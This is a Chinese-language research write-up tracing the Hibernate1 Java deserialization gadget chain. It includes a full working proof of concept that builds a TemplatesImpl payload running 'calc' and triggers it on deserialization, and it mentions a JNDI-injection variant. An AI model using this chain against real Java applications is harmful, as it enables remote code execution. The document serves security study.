Hello Hibernate

简介

Hibernate是一个开源免费的、基于 ORM 技术的 Java 持久化框架。通俗地说,Hibernate 是一个用来连接和操作数据库的 Java
框架,它最大的优点是使用了 ORM 技术。

Hibernate 支持几乎所有主流的关系型数据库,只要在配置文件中设置好当前正在使用的数据库,程序员就不需要操心不同数据库之间的差异。

分析

前置知识

PropertyAccessor

image-20230712141411027

BasicPropertyAccessor

BasicPropertyAccessor类实现了PropertyAccessor接口,构造方法传入了一个Class,Method和propertyName,然后在get方法中调用了Target的method方法。

image-20230712141501198

来看看BasicPropertyAccessor重写的getSetter方法

image-20230712141727409

重写后的getSetter方法调用了自身createSetter方法,createSetter方法继续调用getSetterOrNull方法,把结果进行返回。

getSetterOrNull方法如下,调用setterMethod方法返回一个Method实例,然后包装成BasicSetter方法

image-20230712142048613

在setterMethod方法中,通过调用getDeclareMethods()获取所有方法,然后判断是否以get开头,以get开头的就是getter。

image-20230712142201278

AbstractComponentTuplizer

存在getPropertyValue方法,调用getters[i]的get方法

image-20230712143007627

这里的getter数组是org.hibernate.property.Getter类,在上文提到getSetterOrNull方法最后返回的是一个BasicGetter方法,他是实现了Getter接口的

image-20230712143312660

有PojoComponentTuplizer这么一个类,继承了AbstractComponentTuplizer抽象类,在他的getPropertyValues方法调用了父类的getPropertyValues方法

image-20230712144039596

org/hibernate/type/ComponentType类存在getPropertyValues方法的调用

image-20230712144403879

TypedValue

image-20230712144814809

构造方法调用initTransients()方法

private void initTransients() {
   this.hashcode = new ValueHolder<Integer>( new ValueHolder.DeferredInitializer<Integer>() {
      @Override
      public Integer initialize() {
         return value == null ? 0 : type.getHashCode( value );
      }
   } );
}

initTransients方法把hashcode赋值为一个重写了initialize方法的DeferredInitializer对象

继续来看hashcode方法

image-20230712151307265

返回了hashcode.getValue(),其中hashcode是ValueHolder对象,就是调用ValueHolder.getValue方法

image-20230712151403792

也就是调用了DeferredInitializer的initialize方法,该方法已被重写,方法内容如下

image-20230712151703097

调用type.getHashCode( value )

ComponentType

org/hibernate/type/ComponentType 存在getHashCode方法

image-20230712152405024

调用了getPropertyValue方法

Hibernate1

大致调用链如下:

TypedValue->hashcode

ValueHolder->getValue

ValueHolder.DeferredInitializer->initialize

ComponentType->getHashCode

ComponentType->getPropertyValue

AbstractComponentTuplizer->getPropertyValue

BasicGetter->get

然后就是用CC3去打字节码



import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.mapping.Component;
import org.hibernate.type.Type;
import util.Reflections;

import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

public class Test {

    public static void main(String[] args) throws Exception {

        Class<?> componentTypeClass             = Class.forName("org.hibernate.type.ComponentType");
        Class<?> pojoComponentTuplizerClass     = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
        Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");


        //动态创建字节码
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Evil");
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();

        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"ch1e");

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,new byte[][]{bytes});
        Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");

        Object getter;
        try {
            // 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
            Class<?>       getterImpl  = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
            Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
            constructor.setAccessible(true);
            getter = constructor.newInstance(null, null, method);
        } catch (Exception ignored) {
            // 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
            Class<?>       basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
            Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
            constructor.setAccessible(true);
            getter = constructor.newInstance(templates.getClass(), method, "outputProperties");
        }

        // 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法

//        Object tuplizer = pojoComponentTuplizerClass.newInstance();

        Object tuplizer = Reflections.createWithoutConstructor(pojoComponentTuplizerClass);


        // 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
        Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
        field.setAccessible(true);
        Object getters = Array.newInstance(getter.getClass(), 1);
        Array.set(getters, 0, getter);
        field.set(tuplizer, getters);

        // 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
//        Object type = componentTypeClass.newInstance();
        Object type = Reflections.createWithoutConstructor(componentTypeClass);

        // 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
        Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");
        field1.setAccessible(true);
        field1.set(type, tuplizer);

        Field field2 = componentTypeClass.getDeclaredField("propertySpan");
        field2.setAccessible(true);
        field2.set(type, 1);

        Field field3 = componentTypeClass.getDeclaredField("propertyTypes");
        field3.setAccessible(true);
        field3.set(type, new Type[]{(Type) type});

        // 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
        TypedValue typedValue = new TypedValue((Type) type, null);

        // 创建反序列化用 HashMap
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(typedValue, "su18");

        // put 到 hashmap 之后再反射写入,防止 put 时触发
        Field valueField = TypedValue.class.getDeclaredField("value");
        valueField.setAccessible(true);
        valueField.set(typedValue, templates);

//        serialize(hashMap);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}
image-20230712164255991

Hibernate2

用jdbcRowSetImpl链子打JNDI注入,具体再说吧。要下班了。